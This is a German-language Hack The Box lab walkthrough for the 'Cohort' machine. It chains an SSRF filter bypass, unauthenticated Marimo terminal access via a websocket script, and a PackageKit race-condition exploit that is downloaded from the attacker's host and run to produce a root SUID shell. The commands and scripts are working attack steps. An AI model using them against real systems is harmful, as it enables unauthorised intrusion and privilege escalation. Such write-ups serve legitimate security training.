
Hack The Box „Cohort“-Walkthrough zu SSRF-Filter-Bypass, nicht authentifiziertem Marimo-Terminalzugriff und Privilegieneskalation zu root über eine Race Condition in PackageKit.
Schwierigkeit: Einfach | OS: Linux | Autor: 1nt1m4cy
Wir beginnen mit dem Scannen des Ziels, um zu sehen, was läuft:
nmap -sCV --top-ports 1000 --min-rate 3000 10.129.244.174
Drei offene Ports:
22/tcp - SSH (OpenSSH 9.6p1 Ubuntu)
80/tcp - HTTP (nginx 1.24.0) -- redirects to https://cohort.htb/
443/tcp - HTTPS (nginx 1.24.0)
Das TLS-Zertifikat zeigt die Domain cohort.htb und einen Wildcard-Eintrag *.cohort.htb (es könnten versteckte Subdomains existieren).
Fügen Sie es Ihrer Hosts-Datei hinzu:
echo "10.129.244.174 cohort.htb" | sudo tee -a /etc/hosts
Öffne https://cohort.htb/ – es ist eine Unternehmensseite für „Cohort Analytics". Hier gibt es nicht viel.
Klicke in der Navigationsleiste auf „Client Insights". Das führt dich zu /portal.html. Diese Seite enthält ein Formular, in das du eine URL eingibst und der Server ruft sie für dich ab. Das ist SSRF – der Server stellt Anfragen in unserem Namen.
Das Formular sendet per POST an /api/validate. Wenn wir http://127.0.0.1/ ausprobieren, heißt es „Internal or loopback addresses are not permitted." – blockiert.
Aber 127.1 umgeht den Filter (es ist eine Kurzschreibweise für 127.0.0.1, und der Filter erkennt sie nicht):
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/","format":"JSON"}'
Funktioniert. Wir haben SSRF.
Nutze die SSRF, um nginx's /status-Endpunkt zu prüfen:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/status","format":"JSON"}'
Dies legt die gesamte nginx-Konfiguration offen:
{
"service": "cohort-edge",
"upstreams": [
{ "name": "marketing", "host": "cohort.htb" },
{ "name": "insights-api", "path": "/api/", "target": "127.0.0.1:5000" },
{
"name": "notebooks",
"host": "nb-1be3782a8afd3ad5.cohort.htb",
"target": "127.0.0.1:8888",
"note": "internal analyst workspace, not for external use"
}
]
}
Es gibt eine versteckte Subdomain: nb-1be3782a8afd3ad5.cohort.htb, die auf Port 8888 läuft. Füge sie hinzu:
echo "10.129.244.174 nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts
Nutze die SSRF, um zu sehen, was auf Port 8888 läuft:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/","format":"JSON"}'
Die Antwort-HTML enthält <title>marimo</title> -- es ist Marimo, eine Python-Notebook-App.
Die exakte Version ermitteln:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/api/version","format":"JSON"}'
Version: 0.20.4
Marimo 0.20.4 hat eine kritische Schwachstelle (CVE-2026-39987). Der WebSocket-Endpunkt /terminal/ws bietet ein vollständiges Terminal, hat jedoch keine Authentifizierungsprüfung. Jeder kann sich verbinden.
Installiere die websocket-Bibliothek:
pip install websocket-client
Speichern Sie dies als shell.py:
import ssl, sys, threading, websocket
ws = websocket.create_connection(
"wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws",
sslopt={"cert_reqs": ssl.CERT_NONE}
)
def recv():
while True:
try:
data = ws.recv()
if isinstance(data, bytes): data = data.decode(errors="replace")
print(data, end="")
except: break
threading.Thread(target=recv, daemon=True).start()
for line in sys.stdin:
ws.send(line)
Ausführen:
python3 shell.py
Du erhältst eine Shell als marimo. Hole dir die User-Flag:
marimo@cohort:~$ cat ~/user.txt
Prüfen, was installiert ist:
pkcon --version
# 1.2.8
dpkg -l packagekit
# hi packagekit 1.2.8-2ubuntu1.2 amd64
PackageKit 1.2.8-2ubuntu1.2 ist anfällig für CVE-2026-41651 – eine Race Condition, die es einem normalen Benutzer ermöglicht, ein bösartiges Paket als root zu installieren. Das hi in der dpkg-Ausgabe bedeutet, dass das Paket bewusst auf dieser alten Version gehalten wird.
Laden Sie auf Ihrem Angriffsrechner den Exploit herunter und stellen Sie ihn bereit:
git clone https://github.com/Vozec/CVE-2026-41651
cd CVE-2026-41651
python3 -m http.server 8080
Laden Sie es auf dem Zielsystem (in Ihrer Shell) herunter und führen Sie es aus:
cd /tmp
curl -o exploit http://YOUR_IP:8080/cve-2026-41651
chmod +x exploit
./exploit
Warte etwa 10 Sekunden. Der Exploit erstellt eine SUID-Bash unter /tmp/.suid_bash. Verwende sie:
/tmp/.suid_bash -p -c 'cat /root/root.txt'
Das -p-Flag weist bash an, die Root-Rechte beizubehalten, anstatt sie abzugeben.
Nmap --> ports 22, 80, 443, domain cohort.htb with wildcard *.cohort.htb
|
v
Portal at /portal.html --> URL validation form (SSRF)
|
v
SSRF bypass with 127.1 --> hit /status --> leaked hidden vhost nb-1be3782a8afd3ad5.cohort.htb
|
v
Marimo 0.20.4 on the vhost --> CVE-2026-39987: unauthenticated /terminal/ws
|
v
Shell as marimo --> user flag
|
v
PackageKit 1.2.8-2ubuntu1.2 --> CVE-2026-41651: TOCTOU race condition
|
v
SUID bash --> root flag